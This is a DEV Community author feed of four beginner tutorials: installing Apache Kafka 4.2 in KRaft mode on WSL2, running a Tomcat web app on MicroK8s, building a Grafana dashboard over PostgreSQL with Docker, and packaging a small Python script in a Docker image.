DEV Community: Sanjay Ghosh

Installing Apache Kafka 4.2 on Ubuntu (WSL2): A Complete KRaft Step-by-Step Guide

Sanjay Ghosh — Fri, 17 Jul 2026 18:58:38 +0000

Installing Apache Kafka 4.2 on Ubuntu 24.04 (WSL2) Using KRaft Mode: A Complete Step-by-Step Guide

Learn how to install Apache Kafka 4.2 in KRaft mode, understand its architecture, create topics, produce and consume messages, and troubleshoot common configuration issues—all without ZooKeeper.

🚀 Introduction

Apache Kafka has become the de facto standard for building event-driven, real-time, and high-throughput applications. Whether you're processing millions of financial transactions, collecting application logs, streaming IoT sensor data, or connecting microservices, Kafka provides a scalable and reliable messaging platform.

Until recently, setting up Kafka required running Apache ZooKeeper alongside Kafka brokers. While powerful, ZooKeeper added operational complexity and introduced another distributed system that administrators had to manage.

Beginning with recent Kafka releases, KRaft (Kafka Raft Metadata mode) removes this dependency by allowing Kafka to manage its own metadata internally. This makes installation simpler, reduces operational overhead, and improves scalability.

In this guide, we'll install Apache Kafka 4.2 on Ubuntu 24.04.4 LTS (WSL2), configure a single-node KRaft cluster, and walk through the complete lifecycle:

Installing Kafka
Understanding the Kafka architecture
Configuring KRaft mode
Starting the broker
Creating topics
Producing and consuming messages
Troubleshooting common issues
Understanding the purpose of each configuration parameter

Rather than simply listing commands, I'll explain why each step is necessary so that you understand how Kafka works under the hood.

What is Apache Kafka?

Apache Kafka is a distributed event streaming platform designed to move data reliably and efficiently between applications.

Instead of applications communicating directly with each other, they communicate through Kafka.

A producing application writes messages to Kafka.

Kafka stores those messages reliably.

One or more consuming applications read those messages whenever they need them.

This decouples applications from one another, allowing them to scale independently.

For example, imagine an online shopping application.

Customer Places Order
          │
          ▼
      Order Service
          │
          ▼
       Kafka Topic
      /      |      \
     ▼       ▼       ▼
 Inventory  Billing  Shipping

The Order Service publishes a single event.

Inventory updates stock.

Billing processes the payment.

Shipping prepares the shipment.

Each service works independently without knowing about the others.

This is one of Kafka's greatest strengths.

Kafka Architecture

The following diagram illustrates the overall architecture of Apache Kafka running in KRaft mode.

(Insert the cover architecture image here.)

The architecture consists of three primary components:

Producers

Producers publish messages into Kafka.

Examples include:

Java applications
Spring Boot microservices
Python applications
IoT devices
Web applications
Log collection systems

A producer simply sends data—it doesn't need to know who will consume it.

Kafka Cluster

The Kafka cluster is responsible for:

Receiving messages
Persisting messages to disk
Replicating data
Managing topics
Managing partitions
Delivering messages to consumers

In KRaft mode, the cluster also manages its own metadata through the Controller.

Consumers

Consumers subscribe to topics and process messages.

Examples include:

Analytics applications
Fraud detection services
Notification systems
Machine Learning pipelines
Search indexing services

Multiple consumers can read the same topic independently.

Core Kafka Concepts

Before installing Kafka, it's helpful to understand a few important concepts.

Broker

A Broker is a Kafka server.

It receives messages from producers and stores them on disk.

A Kafka cluster may contain one broker or hundreds of brokers.

For this tutorial, we'll use a single broker.

Topic

A Topic is a logical category used to organize messages.

Examples:

orders

payments

customer-events

application-logs

Applications publish messages to topics.

Consumers subscribe to topics.

Partition

Each topic is divided into one or more Partitions.

Partitions allow Kafka to:

Scale horizontally
Process data in parallel
Increase throughput

For a small development environment, one partition is usually sufficient.

Production systems often contain dozens or even hundreds of partitions.

Producer

A Producer writes messages to a Kafka topic.

For example:

Order Created

Payment Successful

Inventory Updated

Each message is appended sequentially to the topic.

Consumer

A Consumer continuously reads messages from Kafka.

Consumers remember the last message they processed using Offsets, allowing them to resume processing after a restart.

What is KRaft?

Older versions of Kafka required Apache ZooKeeper to maintain cluster metadata.

ZooKeeper stored information such as:

Broker registration
Controller election
Topic metadata
Partition assignments
Cluster configuration

While reliable, this meant administrators had to deploy and maintain two distributed systems.

Beginning with modern Kafka releases, this dependency has been removed.

Kafka now uses KRaft (Kafka Raft Metadata mode).

Instead of relying on ZooKeeper, Kafka stores metadata internally using the Raft consensus protocol.

This results in:

Simpler deployment
Fewer moving parts
Lower operational overhead
Improved scalability
Better long-term maintainability

For new Kafka deployments, KRaft is the recommended architecture.

Installing Apache Kafka 4.2

Before installing Kafka, verify that Java 11 or later is installed.

java -version

Download Kafka:

wget https://downloads.apache.org/kafka/4.2.0/kafka_2.13-4.2.0.tgz

Extract the archive:

tar -xzf kafka_2.13-4.2.0.tgz

Navigate into the installation directory:

cd kafka_2.13-4.2.0

At this point, Kafka has been downloaded but is not yet initialized.

The next step is configuring Kafka to run in KRaft mode.

Understanding `server.properties`

Almost every important Kafka configuration lives inside:

config/server.properties

Although this file contains many configuration options, only a handful are essential for a single-node KRaft installation.

process.roles=broker,controller

node.id=1

controller.quorum.voters=1@localhost:9093

listeners=PLAINTEXT://:9092,CONTROLLER://:9093

advertised.listeners=PLAINTEXT://localhost:9092,CONTROLLER://localhost:9093

controller.listener.names=CONTROLLER

log.dirs=/tmp/kraft-combined-logs

delete.topic.enable=true

Let's briefly understand what each property does.

Property	Purpose
process.roles	Defines whether this node acts as a Broker, Controller, or both.
node.id	Unique identifier for the Kafka node.
controller.quorum.voters	Identifies which nodes participate in controller elections.
listeners	Specifies the network ports Kafka listens on.
advertised.listeners	Tells clients how they should connect to Kafka.
controller.listener.names	Indicates which listener is reserved for controller communication.
log.dirs	Directory used to store Kafka logs and metadata.
delete.topic.enable	Enables topic deletion.

Notice that Kafka listens on two ports:

Port	Purpose
9092	Producers, Consumers, Kafka Clients
9093	Internal KRaft Controller Communication

Your Java applications, producers, consumers, and administration tools will typically connect to 9092.

The 9093 listener is reserved for Kafka's internal controller operations.

In the next section, we'll initialize Kafka storage, start the broker, create our first topic, and begin publishing and consuming messages.

Initializing Kafka Storage and Starting the Broker

Now that Kafka is installed and server.properties is configured, the next step is to initialize the metadata storage required by KRaft mode.

Unlike older Kafka versions that relied on ZooKeeper to maintain cluster metadata, KRaft stores metadata directly within Kafka. Before the broker can start, this storage must be initialized exactly once.

Step 1 – Generate a Cluster ID

Every Kafka cluster has a unique Cluster ID.

Generate one using:

bin/kafka-storage.sh random-uuid

Example output:

NBPgGxgHTuuFVYzV3U6oyA

Your value will be different.

Save this value because it will be used during the storage formatting step.

Step 2 – Format the Metadata Storage

Initialize the storage using the Cluster ID that was generated in the previous step.

bin/kafka-storage.sh format \
-t NBPgGxgHTuuFVYzV3U6oyA \
-c config/server.properties

If everything is configured correctly, Kafka will display output similar to:

Formatting dynamic metadata voter directory /tmp/kraft-combined-logs

This command creates the metadata required by the KRaft controller.

Important: Formatting should only be performed when creating a new Kafka cluster. Running it again on an existing cluster will erase the existing metadata.

Step 3 – Start Kafka

Start the Kafka broker using:

bin/kafka-server-start.sh config/server.properties

Kafka starts as a foreground process.

You should begin seeing log messages indicating that the broker and controller have started successfully.

Leave this terminal running.

Understanding the Listener Ports

One question that often confuses new Kafka users is:

Why does Kafka use two ports?

Earlier we configured:

listeners=PLAINTEXT://:9092,CONTROLLER://:9093

These listeners serve different purposes.

Port	Purpose
9092	Client communication (Producers, Consumers, Admin tools, Java applications)
9093	Internal KRaft Controller communication

Think of 9092 as the public entrance to Kafka.

Applications connect to this port to publish and consume messages.

The 9093 listener is reserved for Kafka itself. It is used internally by the controller to manage cluster metadata and coordinate the broker.

As an application developer, you will almost always connect to 9092.

Creating Your First Topic

A Topic is a logical channel used to organize messages.

Let's create one named my-test-topic.

bin/kafka-topics.sh \
--create \
--topic my-test-topic \
--bootstrap-server localhost:9092

Expected output:

Created topic my-test-topic.

Notice that we connected using localhost:9092.

The --bootstrap-server parameter specifies the Kafka broker that the client should contact.

Listing Existing Topics

To display all available topics:

bin/kafka-topics.sh \
--list \
--bootstrap-server localhost:9092

Example output:

my-test-topic

If your Kafka installation contains multiple topics, each one will be listed.

Describing a Topic

To display detailed information about a topic:

bin/kafka-topics.sh \
--describe \
--topic my-test-topic \
--bootstrap-server localhost:9092

Typical output includes:

Topic name
Partition count
Replication factor
Leader
Replicas
In-Sync Replicas (ISR)

Understanding these values becomes increasingly important as your Kafka cluster grows beyond a single broker.

Producing Messages

Now let's send our first messages.

Open a second terminal and execute:

bin/kafka-console-producer.sh \
--topic my-test-topic \
--bootstrap-server localhost:9092

You'll see a prompt:

Everything you type is immediately published to Kafka.

For example:

Hello Kafka!

Learning Kafka with KRaft mode.

This is my first Kafka message.

Each line becomes a separate Kafka message.

Consuming Messages

Open a third terminal.

Run:

bin/kafka-console-consumer.sh \
--topic my-test-topic \
--from-beginning \
--bootstrap-server localhost:9092

Example output:

Hello Kafka!

Learning Kafka with KRaft mode.

This is my first Kafka message.

The --from-beginning option instructs Kafka to replay all existing messages in the topic.

This is useful when verifying your setup or replaying historical events.

Reading Only New Messages

If you're only interested in messages produced after the consumer starts, simply omit the --from-beginning option.

bin/kafka-console-consumer.sh \
--topic my-test-topic \
--bootstrap-server localhost:9092

Now the consumer waits for new incoming messages.

As soon as a producer publishes another message, it immediately appears in the consumer terminal.

This demonstrates Kafka's real-time event streaming capability.

How Message Flow Works

At this point, you've already built a complete event-driven messaging system.

The overall flow looks like this:

Producer
    │
    │ Publish Message
    ▼
+-------------------+
|       Kafka       |
|    Topic Storage  |
+-------------------+
    │
    │ Read Messages
    ▼
Consumer

The producer and consumer never communicate directly.

Kafka sits between them, storing messages reliably and allowing multiple consumers to process the same events independently.

This decoupling is one of Kafka's biggest architectural advantages and is widely used in microservices and distributed systems.

Verifying That Everything Works

At this stage, you should have successfully:

Installed Kafka
Configured KRaft mode
Started the broker
Created a topic
Produced messages
Consumed messages

You now have a fully functioning single-node Kafka environment ready for development and experimentation.

In the next section, we'll look at common administration commands, deleting topics, troubleshooting configuration issues—including one that prevented my own Kafka broker from starting—and discuss where to go next in your Kafka learning journey.

Kafka Administration

Once your Kafka broker is running successfully, you'll frequently perform administrative tasks such as listing topics, inspecting topic details, and deleting topics during development.

Let's look at some of the most common commands.

Listing All Topics

To display every topic in the Kafka cluster:

bin/kafka-topics.sh \
--list \
--bootstrap-server localhost:9092

Example output:

my-test-topic
orders
payments
application-logs

This command is useful for verifying that topics were created successfully.

Describing a Topic

To view detailed information about a topic:

bin/kafka-topics.sh \
--describe \
--topic my-test-topic \
--bootstrap-server localhost:9092

Typical output contains information similar to:

Topic: my-test-topic

PartitionCount: 1

ReplicationFactor: 1

Leader: 1

Replicas: 1

Isr: 1

Let's briefly understand what these values mean.

Property	Description
PartitionCount	Number of partitions belonging to the topic
ReplicationFactor	Number of replicas maintained for fault tolerance
Leader	Broker currently responsible for reads and writes
Replicas	Brokers containing copies of the partition
ISR	In-Sync Replicas currently synchronized with the leader

In this tutorial we're using a single-node Kafka cluster, so each value is simply 1.

Deleting a Topic

Deleting a topic is straightforward.

bin/kafka-topics.sh \
--bootstrap-server localhost:9092 \
--delete \
--topic my-test-topic

However, topic deletion must be enabled.

Verify that the following property exists inside:

config/server.properties

delete.topic.enable=true

Without this configuration, Kafka ignores delete requests.

Common Kafka Commands

Create a Topic

bin/kafka-topics.sh \
--create \
--topic my-test-topic \
--bootstrap-server localhost:9092

List Topics

bin/kafka-topics.sh \
--list \
--bootstrap-server localhost:9092

Describe a Topic

bin/kafka-topics.sh \
--describe \
--topic my-test-topic \
--bootstrap-server localhost:9092

Produce Messages

bin/kafka-console-producer.sh \
--topic my-test-topic \
--bootstrap-server localhost:9092

Consume All Messages

bin/kafka-console-consumer.sh \
--topic my-test-topic \
--from-beginning \
--bootstrap-server localhost:9092

Consume Only New Messages

bin/kafka-console-consumer.sh \
--topic my-test-topic \
--bootstrap-server localhost:9092

Delete a Topic

bin/kafka-topics.sh \
--bootstrap-server localhost:9092 \
--delete \
--topic my-test-topic

Real-World Issue: Why My Kafka Broker Wouldn't Start

While writing this article, I ran into a problem that took some investigation to resolve.

After formatting the Kafka storage and attempting to start the broker, Kafka continuously displayed messages similar to:

initializeNewPublishers:
the loader is still catching up because we still don't know the high water mark yet.

It also reported:

Unable to register the broker because the RPC got timed out before it could be sent.

Although these messages looked alarming, they were actually symptoms rather than the root cause.

The Real Problem

After reviewing my configuration, I discovered that my server.properties file was missing the following configuration:

controller.quorum.voters=1@localhost:9093

Without this property, Kafka's Controller had no information about which node was responsible for participating in controller elections.

As a result:

The Controller never became active.
The Broker could not register.
Kafka continued waiting indefinitely for metadata initialization.

Adding the missing configuration resolved the issue immediately.

Why This Configuration Matters

In KRaft mode, Kafka no longer relies on ZooKeeper to manage metadata.

Instead, Kafka uses an internal Controller based on the Raft consensus protocol.

The controller.quorum.voters property identifies the nodes participating in that Controller quorum.

For a single-node development environment, the configuration is simply:

controller.quorum.voters=1@localhost:9093

In production clusters, multiple controller nodes would typically be listed.

Lessons Learned

During this installation I learned several useful lessons:

✅ KRaft mode eliminates the need for ZooKeeper.

✅ Every Kafka cluster requires a unique Cluster ID.

✅ Kafka storage must be formatted before the broker starts.

✅ Producers and consumers connect to 9092, while 9093 is reserved for internal Controller communication.

✅ The server.properties file is the heart of Kafka configuration.

✅ A missing controller.quorum.voters property prevents the Controller from becoming active.

Understanding why Kafka behaves this way makes troubleshooting much easier than simply memorizing commands.

What's Next?

Now that Kafka is running successfully, there are many exciting topics to explore.

Some natural next steps include:

Building a Java Kafka Producer
Building a Java Kafka Consumer
Understanding Partitions and Offsets
Consumer Groups
Kafka Streams
Spring Boot with Kafka
Event-Driven Microservices
Real-time Log Processing
Fraud Detection Pipelines
Integrating Kafka with AI and RAG applications

Kafka is much more than a messaging system—it is a powerful event streaming platform used by organizations to build highly scalable, real-time applications.

Conclusion

In this guide, we installed Apache Kafka 4.2 on Ubuntu 24.04 (WSL2) using KRaft mode, configured a single-node broker, initialized the metadata storage, created topics, produced and consumed messages, and explored the essential administration commands used in day-to-day development.

Along the way, we also investigated and resolved a real configuration issue involving controller.quorum.voters, highlighting the importance of understanding Kafka's internal architecture rather than simply following installation steps.

Whether you're building microservices, processing application logs, streaming IoT data, or developing real-time analytics, Kafka provides a reliable foundation for event-driven applications.

I hope this guide helps you get started with Kafka and saves you some of the troubleshooting time that I experienced during my own setup. Happy learning!

Running Java Applications on Kubernetes with MicroK8s in WSL2: A Complete Step-by-Step Guide

Sanjay Ghosh — Thu, 02 Jul 2026 21:19:19 +0000

🚀 Introduction

Deploying Kubernetes locally can feel like a breeze—until you introduce cross-OS boundaries like running MicroK8s inside an Ubuntu WSL2 instance on a Windows machine. Suddenly, networking bridges, cluster security templates, and isolated container image caches clash.

In this guide, I will take you through my entire journey from absolute scratch: initializing the cluster, bypassing the Windows-to-WSL network layer, containerizing a legacy .war file into Apache Tomcat 10, resolving local container runtime blocks, and scaling to a load-balanced multi-pod deployment.

Overall Flow :

Deployment Flow:

🛠️ Phase 1: Installing and Configuring the Cluster

MicroK8s is Canonical's lightweight, fast-booting Kubernetes distribution that works natively on Ubuntu via Snap packages.

1. Installation & Init

Run the standard package manager to pull the classic snap layer down and wait for readiness flags to clear:

sudo snap install microk8s --classic
sudo microk8s status --wait-ready
sudo microk8s enable dns dashboard storage

2. The WSL2 Network Barrier 🛑

Because the cluster builds internal authorization certificates tied exclusively to the Linux environment, a Windows web browser attempting to view the dashboard on localhost will be strictly blocked. We must patch the cluster's trusted certificate schema.

First, check your active Ubuntu network IP address:

ip route
## Look for your eth0 source IP (e.g., 172.21.236.75)

Open the root certificate mapping file:

sudo vi /var/snap/microk8s/current/certs/csr.conf.template

Scroll down to the [ alt_names ] segment and explicitly append your Ubuntu network address to the safe-list:

IP.3 = 172.21.236.75

Force a full service recycle to re-mint the secure tokens:

sudo microk8s stop && sudo microk8s start

3. Launching the Security Proxy

Extract your cluster access token:

sudo microk8s kubectl describe secret -n kube-system microk8s-dashboard-token

Spin up the connection bridge utility to forward cluster resources through to your host:

sudo microk8s dashboard-proxy

Open your Windows web browser, navigate to https://127.0.0.1:10443, bypass the browser certificate safety warnings, and paste your authorization token. You're in!

📦 Phase 2: Containerizing Your Java Web App

Kubernetes does not manage code files directly; it orchestrates containers. We need to wrap your compiled application file into an official application server baseline.

1. Establish Your Workspace

Create a folder structure inside Ubuntu to hold your codebase assets and copy your file over:

mkdir -p /mnt/c/MyDomain/TECH/kubernetes/allwork/kubernetes-java-app
cd /mnt/c/MyDomain/TECH/kubernetes/allwork/kubernetes-java-app

2. Crafting the Dockerfile Blueprint

Create a raw text blueprint named Dockerfile to map out the Tomcat 10 installation parameters:

## Use official Tomcat 10 with Java 17 as the base foundation
FROM docker.io/tomcat:10.1-jre17

## Clean out the default placeholder webapps to prevent conflicts
RUN rm -rf /usr/local/tomcat/webapps/*

## Copy your local WAR file from your directory into Tomcat's deployment folder
COPY mywebprojectwar.war /usr/local/tomcat/webapps/

## Inform the container environment to expose Tomcat's web port
EXPOSE 8080

3. Compiling the Image Package

Because MicroK8s focuses purely on execution workloads, use buildah to safely handle compilation layers on Ubuntu:

sudo apt update && sudo apt install -y buildah
sudo buildah bud -t my-java-app:v1 .

🧬 Phase 3: The Local Sideloading Blueprint

If you try to run your containers right now, you will hit an immediate wall: ErrImageNeverPull. MicroK8s isolates local terminal compiles away from the live Kubernetes runtime container pools (k8s.io namespace).

Here is the exact side-loading injection pattern that guarantees a perfect local import:

1. Build a Standard Archive

Export the image into an unmanaged, standardized archive on your hard drive:

rm -f my-java-app.tar
sudo buildah push my-java-app:v1 docker-archive:my-java-app.tar:my-java-app:v1

2. Stream into Cluster Core Memory

Use the high-level MicroK8s packaging command along with a file stream director (<) to automatically unpack the elements straight into the cluster namespace:

sudo microk8s images import < my-java-app.tar

3. Verify Your Cache Identifiers

Query the exact internal text string that the cluster engine assigned to your package:

sudo microk8s ctr --namespace=k8s.io image list | grep managed

You will notice your file carries the string tag localhost/my-java-app:v1 bound to a specific runtime permission marker (io.cri-containerd.image=managed).

🎼 Phase 4: Defining the Orchestration Layout (YAML)

Now we write the declarative automation file. We want 2 separate copies (replicas) of Tomcat spinning up simultaneously, sitting safely behind a single load-balancing endpoint.

Create a file named app-deployment.yaml:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: java-app-deployment
  labels:
    app: my-java-web-app
spec:
  replicas: 2
  selector:
    matchLabels:
      app: my-java-web-app
  template:
    metadata:
      labels:
        app: my-java-web-app
    spec:
      containers:
      - name: tomcat-container
        image: localhost/my-java-app:v1
        imagePullPolicy: Never # Forces K8s to look only at your hard drive cache
        ports:
        - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: java-app-service
spec:
  type: ClusterIP
  selector:
    app: my-java-web-app
  ports:
  - port: 8080
    targetPort: 8080

Fire up the structural blueprints into the cluster engine:

sudo microk8s kubectl apply -f app-deployment.yaml

🕵️ Phase 5: Verification & Stepping Inside the Matrix

Track your applications as they boot up live into active server spaces:

sudo microk8s kubectl get pods -w

When successful, your console will print:

NAME                                   READY   STATUS    RESTARTS   AGE
java-app-deployment-56fd4d8d5f-ddd4n   1/1     Running   0          10s
java-app-deployment-56fd4d8d5f-n69wp   1/1     Running   0          10s

Stepping Inside the Pod Environments 🤯

Are those Tomcats really there? Let's physically step inside the isolated filesystem of each individual running node to verify:

## Step inside Pod 1
sudo microk8s kubectl exec -it java-app-deployment-56fd4d8d5f-ddd4n -- bash
ls -la /usr/local/tomcat/webapps
exit

## Step inside Pod 2
sudo microk8s kubectl exec -it java-app-deployment-56fd4d8d5f-n69wp -- bash
ls -la /usr/local/tomcat/webapps
exit

Each container runs its own isolated filesystem partition with independent copies of Tomcat 10 and your web project!

🌐 Phase 6: Routing Live Traffic to Windows

To view your load-balanced environment, map an open port on your host computer (like 9595) directly to your front-end Kubernetes service router:

sudo microk8s kubectl port-forward service/java-app-service 9595:8080

Keep that terminal active, switch to your Windows web browser, and access your custom project page:

http://localhost:9595/mywebprojectwar/index.jsp

Every click and refresh on that web address is now automatically round-robinned and load-balanced across your 2 independent Tomcat containers!

🧼 Phase 7: Leaving No Trace (The Clean Slate)

When you are done experimenting and want to reclaim your system RAM, CPU cycles, and disk blocks back to a "Zero Stage" without breaking your machine, use this cleanup checklist:

## 1. Drop Applications
sudo microk8s kubectl delete -f app-deployment.yaml
sudo microk8s kubectl delete service my-app-kubernetes 2>/dev/null
sudo microk8s kubectl delete deployment my-app-kubernetes 2>/dev/null

## 2. Reclaim Image Storage Space
rm -f ~/kubernetes-java-app/*.tar
sudo buildah rmi --all
sudo microk8s ctr --namespace=k8s.io image rm $(sudo microk8s ctr --namespace=k8s.io image ls -q) 2>/dev/null

## 3. Shutdown Subsystems
sudo microk8s disable dashboard registry
sudo microk8s stop

## 4. Factory Reset (Optional)
sudo snap remove microk8s --purge && sudo snap install microk8s --classic

🎯 Conclusion

Running Kubernetes inside WSL2 is a great way to build hands-on experience without needing cloud infrastructure or multiple virtual machines. While the setup introduces a few unique challenges—certificate configuration, image management, and networking—each issue has a straightforward solution once you understand how the pieces fit together.

In this guide, we built a complete local Kubernetes environment from scratch, containerized a Java web application using Buildah, deployed it on MicroK8s, scaled it with multiple replicas, and exposed it through a Kubernetes Service.

More importantly, we explored why each step was necessary rather than simply copying commands. Understanding concepts such as container runtimes, image namespaces, deployments, services, and port forwarding makes it much easier to troubleshoot real Kubernetes environments.

If you're beginning your Kubernetes journey, I hope this walkthrough saves you the hours of trial and error that I went through.

Grafana for Beginners: Build Your First Dashboard Using PostgreSQL and Docker

Sanjay Ghosh — Fri, 12 Jun 2026 04:41:57 +0000

As I continue exploring the DevOps ecosystem, I wanted to understand how monitoring and observability tools fit into the software delivery lifecycle.

Tools like Git, Jenkins, Docker, and Kubernetes are frequently discussed, but eventually every team reaches a common question:

How do we monitor what is happening after deployment?

That's where Grafana comes in.

Grafana is one of the most popular open-source visualization platforms used by development, operations, and Site Reliability Engineering (SRE) teams. It helps transform raw metrics into meaningful dashboards that provide insights into application performance, infrastructure health, and business metrics.

In this article, we'll build a complete working example from scratch:

Install Grafana using Docker
Create a PostgreSQL database
Insert sample metrics
Connect Grafana to PostgreSQL
Build a dashboard
Troubleshoot common connection issues

By the end, you'll have a fully functional Grafana dashboard running locally and a solid understanding of how Grafana fits into modern DevOps workflows.

What is Grafana?

Grafana is an open-source monitoring and visualization platform.

It connects to various data sources and transforms raw data into interactive dashboards and alerts.

Grafana itself does not store monitoring data. Instead, it reads data from external systems such as:

PostgreSQL
MySQL
Prometheus
Elasticsearch
Loki
AWS CloudWatch
InfluxDB

A simplified architecture looks like this:

Database / Monitoring Tool
            |
            v
         Grafana
            |
            v
       Dashboards
            |
            v
          Alerts

Where Grafana Fits in DevOps

Grafana is used throughout the DevOps lifecycle.

Development

Performance analysis
Debugging bottlenecks
Resource utilization monitoring

Testing

Monitor test environments
Validate application behavior

CI/CD

Monitor deployments
Track build success rates
Visualize pipeline metrics

Production

Infrastructure monitoring
Application Performance Monitoring (APM)
Alerting and incident management

Step 1: Install Grafana Using Docker

Pull the Grafana image:

docker pull grafana/grafana

Verify:

docker images

Run Grafana:

docker run -d \
  --name grafana \
  -p 3000:3000 \
  grafana/grafana

Verify the container:

docker ps

Example:

0.0.0.0:3000->3000/tcp

Open:

http://localhost:3000

Default credentials:

Username: admin
Password: admin

Grafana will prompt you to change the password during the first login.

Screenshot of login:

Step 2: Create a PostgreSQL Database

Create a database:

CREATE DATABASE grafana_demo;

Connect:

\c grafana_demo

Create a table:

CREATE TABLE system_metrics
(
    id SERIAL PRIMARY KEY,
    metric_time TIMESTAMP,
    cpu_usage NUMERIC(5,2)
);

Verify:

\d system_metrics

Step 3: Insert Sample Metrics

Insert some sample CPU usage data:

INSERT INTO system_metrics(metric_time, cpu_usage)
VALUES
(NOW() - INTERVAL '9 minutes',15),
(NOW() - INTERVAL '8 minutes',18),
(NOW() - INTERVAL '7 minutes',25),
(NOW() - INTERVAL '6 minutes',30),
(NOW() - INTERVAL '5 minutes',45),
(NOW() - INTERVAL '4 minutes',50),
(NOW() - INTERVAL '3 minutes',42),
(NOW() - INTERVAL '2 minutes',55),
(NOW() - INTERVAL '1 minute',60),
(NOW(),48);

Verify:

SELECT *
FROM system_metrics;

Step 4: Connect Grafana to PostgreSQL

Navigate to:

http://localhost:3000/datasources

Choose:

PostgreSQL

Use:

Host:
host.docker.internal:5432

Database:
grafana_demo

User:
postgres

Password:
your_password

Save and test the connection.

Screenshot of connection:

Step 5: Create Your First Dashboard

Navigate to:

Dashboards
→ New Dashboard
→ Add Visualization

Select your PostgreSQL data source.

Switch to Code Mode and execute:

SELECT
    metric_time AS "time",
    cpu_usage AS value
FROM system_metrics
ORDER BY metric_time;

Click:

Run Query

Grafana automatically plots the data.

Screenshot of graph:

Common Connection Problem

One of the most common errors is:

Network error:
Failed to connect to the server

Example:

dial tcp:
lookup host.docker.internal:
no such host

Verify PostgreSQL Settings

Check:

SHOW listen_addresses;

SHOW port;

You may see:

listen_addresses = localhost

This means PostgreSQL only accepts local connections.

Grafana running inside Docker cannot reach it.

Fix PostgreSQL Connectivity

Locate the configuration file:

sudo -u postgres psql -c "SHOW config_file;"

Example:

/etc/postgresql/16/main/postgresql.conf

Modify:

listen_addresses='*'

Update:

/etc/postgresql/16/main/pg_hba.conf

Add:

host all all 0.0.0.0/0 scram-sha-256

Restart PostgreSQL:

sudo systemctl restart postgresql

Or:

sudo service postgresql restart

Verify:

SHOW listen_addresses;

Expected:

Find the Host IP Address

If host.docker.internal does not work:

hostname -I

Example:

172.21.xxx.xxx

Use that IP address as the Grafana host connection.

Grafana vs Prometheus

A common beginner question is:

Do I need Prometheus?

The answer depends on your use case.

Prometheus
-----------
Collects Metrics

Grafana
--------
Visualizes Metrics

Prometheus and Grafana are frequently used together.

Grafana + Jenkins

Grafana can also monitor Jenkins pipelines when combined with Prometheus exporters.

Learning Path

Install Grafana
       |
       v
Connect Data Source
       |
       v
Run Queries
       |
       v
Create Dashboard
       |
       v
Create Alerts
       |
       v
Production Monitoring

Final Thoughts

Grafana is one of the most valuable tools in the modern DevOps ecosystem because it turns raw operational data into actionable insights.

Even with a simple PostgreSQL database and a handful of records, we can create meaningful visualizations and begin understanding trends, performance characteristics, and system behavior.

In real-world environments, Grafana is often integrated with:

Prometheus for metrics collection
Jenkins for CI/CD monitoring
Docker and Kubernetes for container monitoring
Loki for centralized logging
Cloud platforms such as AWS, Azure, and Google Cloud

This article focused on the fundamentals using PostgreSQL because it provides an easy way to understand how Grafana connects to a data source and transforms query results into visual dashboards.

Once you're comfortable with this setup, the next logical steps are:

Grafana + Prometheus
Grafana + Jenkins
Grafana + Docker Metrics
Grafana + Kubernetes
Grafana + Loki

Those integrations unlock the full power of observability and provide the continuous feedback loop that modern DevOps teams depend on.

I hope this walkthrough helps you build your first Grafana dashboard and serves as a foundation for deeper monitoring and observability projects.

Understanding Docker Using a Tiny Python Application (A Beginner-Friendly Walkthrough)

Sanjay Ghosh — Sun, 07 Jun 2026 18:46:39 +0000

Many Docker tutorials immediately introduce Docker Compose, Kubernetes, networking, volumes, and multi-container applications.

For beginners, that can feel overwhelming.

In this article, we'll build a very small Docker image that runs a simple Python script. The goal is to understand the core Docker concepts before moving on to more advanced containerization topics.

By the end of this tutorial, you'll understand:

What Docker is
What a container is
How Docker images work
How to build an image
How to run a container
The difference between an image and a container

Why Docker?

One common problem in software development is:

"It works on my machine."

An application may work perfectly on a developer's computer but fail on another machine because of missing libraries, different operating systems, or incompatible software versions.

Docker solves this problem by packaging:

Application code
Runtime
Libraries
Dependencies
Configuration

into a single portable unit called a container.

As long as Docker is installed, the application can run consistently across environments.

Docker in Simple Terms

A useful analogy is:

Docker Image  = Blueprint
Docker Container = House Built From The Blueprint

An image is a template.

A container is a running instance created from that image.

You can create multiple containers from the same image.

Installing Docker on Ubuntu

Update package information:

sudo apt update

Install Docker:

sudo apt install docker.io

Verify the installation:

sudo docker run hello-world

You should see a welcome message from Docker.

Running Docker Without sudo

Add your user to the Docker group:

sudo usermod -aG docker $USER

Log out and log back in.

Now Docker commands can be executed without sudo.

Environment

The following environment was used:

Ubuntu 24.04 LTS
Docker 29.1.3
Python 3.x

Project Structure

docker-python-app/
│
├── test.py
└── Dockerfile

Our Tiny Python Application

Create:

test.py

Contents:

print("This is a test")

Normally, the script can be executed using:

python3 test.py

Now we'll run the same application inside a Docker container.

Creating a Dockerfile

Create a file named:

Dockerfile

Contents:

FROM ubuntu:latest

WORKDIR /docker-apps

COPY ./test.py .

RUN apt update && apt install python3 -y

CMD ["python3", "./test.py"]

Docker builds images layer by layer by processing each instruction in the Dockerfile from top to bottom.

Let's understand each instruction.

FROM

FROM ubuntu:latest

Uses Ubuntu as the base image.

WORKDIR

WORKDIR /docker-apps

Sets the working directory inside the container.

COPY

COPY ./test.py .

Copies the Python script into the container.

RUN

RUN apt update && apt install python3 -y

Installs Python inside the image.

CMD

CMD ["python3", "./test.py"]

Specifies the command executed when the container starts.

Building the Docker Image

Build the image:

docker build -t ubuntu-python .

Docker reads the Dockerfile and creates an image named:

ubuntu-python

Verify:

docker images

You should see the newly created image.

Running the Container

Create and start a container:

docker run -it -d --name test-container ubuntu-python

Verify:

docker ps -a

View container logs:

docker logs test-container

Expected output:

This is a test

Congratulations! You have successfully executed a Python application inside a Docker container.

Screenshot

Docker Workflow

test.py
      ↓
Dockerfile
      ↓
docker build
      ↓
Docker Image
      ↓
docker run
      ↓
Docker Container
      ↓
This is a test

This same workflow is used for much larger applications.

Image vs Container

One of the most important Docker concepts is understanding the difference between an image and a container.

Image

An image is:

Read-only
A template
Used to create containers

Example:

ubuntu-python

Container

A container is:

Running or stopped
Created from an image
The actual execution environment

Example:

test-container

A single image can create many containers.

Useful Docker Commands

Stop a container:

docker stop <container_name_or_id>

Remove a container:

docker rm <container_name_or_id>

Force remove a container:

docker rm -f <container_name_or_id>

Remove all stopped containers:

docker container prune

List images:

docker images

List containers:

docker ps -a

The Most Important Lesson

One of the biggest misconceptions among beginners is that Docker is a virtual machine.

It is not.

Containers share the host operating system kernel, making them much lighter and faster than traditional virtual machines.

